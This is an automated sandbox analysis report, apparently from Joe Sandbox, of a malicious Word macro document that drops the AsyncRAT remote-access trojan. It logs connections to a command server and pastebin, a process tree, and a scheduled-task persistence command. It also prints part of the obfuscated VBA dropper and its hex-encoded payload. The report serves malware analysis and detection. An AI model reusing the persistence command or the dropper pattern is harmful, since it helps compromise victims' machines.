Jul 17, 2021 21:43:30.403760910 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:30.403804064 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:30.403997898 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:30.404824972 CEST	49167	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:30.456526041 CEST	57667	49167	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:30.957859993 CEST	49167	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:31.009634972 CEST	57667	49167	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:31.519514084 CEST	49167	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:31.571357965 CEST	57667	49167	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:36.711966038 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:36.755567074 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:36.767221928 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:36.767251968 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:36.767441988 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:36.856431007 CEST	49168	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:36.908551931 CEST	57667	49168	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:37.494915962 CEST	49168	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:37.547566891 CEST	57667	49168	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:38.087739944 CEST	49168	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:38.139662027 CEST	57667	49168	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:43.174946070 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:43.227200985 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:43.227236032 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:43.227401972 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:43.229460955 CEST	49169	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:43.281467915 CEST	57667	49169	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:43.782243967 CEST	49169	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:43.835005045 CEST	57667	49169	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:44.344006062 CEST	49169	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:44.395854950 CEST	57667	49169	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:49.400815010 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:49.460067987 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:49.460108995 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:49.460268021 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:49.462605953 CEST	49170	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:49.514323950 CEST	57667	49170	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:50.085216045 CEST	49170	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:50.137279034 CEST	57667	49170	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:50.646930933 CEST	49170	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:50.700400114 CEST	57667	49170	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:55.835741043 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:55.888169050 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:55.888216972 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:43:55.888462067 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:43:55.893640041 CEST	49171	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:55.946841002 CEST	57667	49171	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:56.497380018 CEST	49171	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:56.550071955 CEST	57667	49171	185.195.232.251	192.168.2.22
Jul 17, 2021 21:43:57.090270996 CEST	49171	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:43:57.143826962 CEST	57667	49171	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:02.147339106 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:02.203875065 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:02.203919888 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:02.204125881 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:02.206224918 CEST	49172	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:02.258479118 CEST	57667	49172	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:02.769176006 CEST	49172	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:02.821069002 CEST	57667	49172	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:03.330764055 CEST	49172	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:03.384084940 CEST	57667	49172	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:08.386791945 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:08.436944962 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:08.436992884 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:08.437083006 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:08.438076019 CEST	49173	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:08.489752054 CEST	57667	49173	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:09.009720087 CEST	49173	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:09.061578989 CEST	57667	49173	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:09.571460962 CEST	49173	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:09.623500109 CEST	57667	49173	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:15.260936975 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:15.315519094 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:15.315571070 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:15.315701008 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:16.331162930 CEST	49174	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:16.384037018 CEST	57667	49174	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:16.950860023 CEST	49174	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:17.002739906 CEST	57667	49174	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:17.512433052 CEST	49174	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:17.565104008 CEST	57667	49174	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:22.569185972 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:22.620301008 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:22.620347023 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:22.620599031 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:22.622625113 CEST	49175	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:22.675364971 CEST	57667	49175	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:23.191539049 CEST	49175	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:23.244680882 CEST	57667	49175	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:23.753078938 CEST	49175	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:23.805066109 CEST	57667	49175	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:28.810022116 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:28.859008074 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:28.859045982 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:28.859318972 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:28.861143112 CEST	49176	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:28.912812948 CEST	57667	49176	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:29.416591883 CEST	49176	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:29.468497038 CEST	57667	49176	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:29.978210926 CEST	49176	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:30.030128002 CEST	57667	49176	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:35.033957005 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:35.095253944 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:35.095300913 CEST	443	49165	104.23.98.190	192.168.2.22
Jul 17, 2021 21:44:35.095530987 CEST	49165	443	192.168.2.22	104.23.98.190
Jul 17, 2021 21:44:35.096309900 CEST	49177	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:35.147979975 CEST	57667	49177	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:35.657069921 CEST	49177	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:35.709037066 CEST	57667	49177	185.195.232.251	192.168.2.22
Jul 17, 2021 21:44:36.218568087 CEST	49177	57667	192.168.2.22	185.195.232.251
Jul 17, 2021 21:44:36.272038937 CEST	57667	49177	185.195.232.251	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 17, 2021 21:43:22.421515942 CEST	52197	53	192.168.2.22	8.8.8.8
Jul 17, 2021 21:43:22.482573986 CEST	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 17, 2021 21:43:22.421515942 CEST	192.168.2.22	8.8.8.8	0x919c	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 17, 2021 21:43:22.482573986 CEST	8.8.8.8	192.168.2.22	0x919c	No error (0)	pastebin.com		104.23.98.190	A (IP address)	IN (0x0001)
Jul 17, 2021 21:43:22.482573986 CEST	8.8.8.8	192.168.2.22	0x919c	No error (0)	pastebin.com		104.23.99.190	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 17, 2021 21:43:23.080955982 CEST	104.23.98.190	443	192.168.2.22	49165	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc RSA CA-2, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc RSA CA-2, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Sat Jul 17 02:00:00 CEST 2021 Mon Jan 27 13:46:39 CET 2020	Sun Jul 17 01:59:59 CEST 2022 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jul 17, 2021 21:43:23.080955982 CEST	104.23.98.190	443	192.168.2.22	49165	CN=Cloudflare Inc RSA CA-2, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:46:39 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 2788 Parent PID: 584

General

Start time:	21:39:30
Start date:	17/07/2021
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x13ff90000
File size:	1424032 bytes
MD5 hash:	95C38D04597050285A18F66039EDB456
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: ms.exe PID: 1260 Parent PID: 2788

General

Start time:	21:42:00
Start date:	17/07/2021
Path:	C:\ProgramData\Memsys\ms.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\Memsys\ms.exe
Imagebase:	0xb70000
File size:	1068032 bytes
MD5 hash:	DBBB611DAF3ABD47972AE4FAF5D54C95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000002.00000000.2386988323.0000000000B7F000.00000002.00020000.sdmp, Author: Joe Security Rule: Malware_QA_update, Description: VT Research QA uploaded malware - file update.exe, Source: C:\ProgramData\Memsys\ms.exe, Author: Florian Roth Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\ProgramData\Memsys\ms.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: ASTRO-GREP.EXE PID: 2432 Parent PID: 1260

General

Start time:	21:42:01
Start date:	17/07/2021
Path:	C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE'
Imagebase:	0x920000
File size:	48640 bytes
MD5 hash:	432F0E0AAB658DE046D8B41D2CEF8253
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000002.2441547401.0000000000922000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000000.2389222840.0000000000922000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000002.2441758985.00000000024AF000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: ASTROGREP_SETUP_V4.4.7.EXE PID: 2328 Parent PID: 1260

General

Start time:	21:42:02
Start date:	17/07/2021
Path:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE'
Imagebase:	0x400000
File size:	950654 bytes
MD5 hash:	A708211241313FEAF9621E571631534D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 1784 Parent PID: 2432

General

Start time:	21:42:25
Start date:	17/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe'' & exit
Imagebase:	0x4a680000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 1068 Parent PID: 2432

General

Start time:	21:42:25
Start date:	17/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat''
Imagebase:	0x4a680000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 2220 Parent PID: 1784

General

Start time:	21:42:26
Start date:	17/07/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe''
Imagebase:	0x9f0000
File size:	179712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 2288 Parent PID: 1068

General

Start time:	21:42:26
Start date:	17/07/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 3
Imagebase:	0x270000
File size:	27136 bytes
MD5 hash:	419A5EF8D76693048E4D6F79A5C875AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: taskeng.exe PID: 2320 Parent PID: 860

General

Start time:	21:42:28
Start date:	17/07/2021
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {E0184388-4CC0-4E79-AF38-011207705295} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xfff50000
File size:	464384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: astro-grep.exe PID: 2468 Parent PID: 2320

General

Start time:	21:42:28
Start date:	17/07/2021
Path:	C:\Users\user\AppData\Roaming\astro-grep.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\astro-grep.exe
Imagebase:	0x190000
File size:	48640 bytes
MD5 hash:	432F0E0AAB658DE046D8B41D2CEF8253
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000C.00000000.2447425472.0000000000192000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000C.00000002.2652015747.0000000000192000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\astro-grep.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: astro-grep.exe PID: 1428 Parent PID: 1068

General

Start time:	21:42:30
Start date:	17/07/2021
Path:	C:\Users\user\AppData\Roaming\astro-grep.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\astro-grep.exe'
Imagebase:	0x190000
File size:	48640 bytes
MD5 hash:	432F0E0AAB658DE046D8B41D2CEF8253
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000E.00000000.2450569517.0000000000192000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000E.00000002.2501813179.0000000000192000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: NewMacros

Declaration

Line	Content
1	Attribute VB_Name = "NewMacros"
2	Option Explicit
4	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask = 16515072
5	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask = 258048
6	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask = 4032
7	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask = 63
9	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask = 16711680
10	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask = 65280
11	Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask = 255
13	Private Const MNAJSAQQQQQQ18 = 262144
14	Private Const MNAJSAQQQQQQ12 = 4096
15	Private Const MNAJSAQQQQQQ6 = 64
16	Private Const MNAJSAQQQQQQ8 = 256
17	Private Const MNAJSAQQQQQQ16 = 65536

Executed Functions

Subroutine RemoveParagraph, APIs: 121, Strings: 4, Number of lines: 51, Relevance: 260.051

APIs	Meta Information
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
Environ	Environ("ALLUSERSPROFILE") -> C:\ProgramData
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
Len	Len("") -> 0
dir
vbDirectory
Part of subcall function S1@NewMacros: MkDir
Part of subcall function Wipedir@NewMacros: CreateObject
Part of subcall function Wipedir@NewMacros: folderexists
Part of subcall function Wipedir@NewMacros: deletefolder
Part of subcall function S1@NewMacros: MkDir
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
ChDrive
Part of subcall function S2@NewMacros: ChDir
FreeFile
Open	Open("ms.exe")
Paragraphs
ActiveDocument
DoEvents
Range
Len	Len("0116DC4C4F4C4C4C484C4C4CB3B34C4CF44C4C4C4C4C4C4C0C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4CA44C4C4C4253F6424CF845816DF44D00816D1824253F6C3C3E232B3E2D216C2F2D222223386C2E296C3E39226C25226C08031F6C2123282962414146684C4C4C4C4C4C4C0A81821D4EE0EC4E4EE0EC4E4EE0EC4E2196724E5EE0EC4E2196464E0AE0EC4E2196474E53E0EC4E47987F4E4BE0EC4E4EE0ED4E1AE0EC4E2196434E4DE0EC4E2196714E4FE0EC4E1E252F244EE0EC4E4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C1C094C4C004D494C8C7C5C024C4C4C4C4C4C4C4CAC4C4E4D474D464C4C364C4C4C82434C4C4C4C4C047E4C4C4C5C4C4C4CDC4C4C4C4C0C4C4C5C4C4C4C4E4C4C494C4D4C4C4C4C4C494C4D4C4C4C4C4C4CDC5C4C4C484C4C44165C4C4E4C0CCD4C4C5C4C4C5C4C4C4C4C5C4C4C5C4C4C4C4C4C4C5C4C4C4C4C4C4C4C4C4C4C4C48F74C4C704C4C4C4CBC4C4CB034434C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C3C5C4CA8454C4C2CDD4C4C504C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C04FE4C4C0C4C4C4C4C4C4C4C4C4C4C4C4CDC4C4C684D4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C62382934384C4C4C0E344C4C4C5C4C4C4C364C4C4C484C4C4C4C4C4C4C4C4C4C4C4C4C4C6C4C4C2C623E282D382D4C4CD27D4C4C4CDC4C4C4C7E4C4C4C324C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0C62282D382D4C4C4CC8564C4C4C9C4C4C4C424C4C4CFC4C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C8C623E3F3E2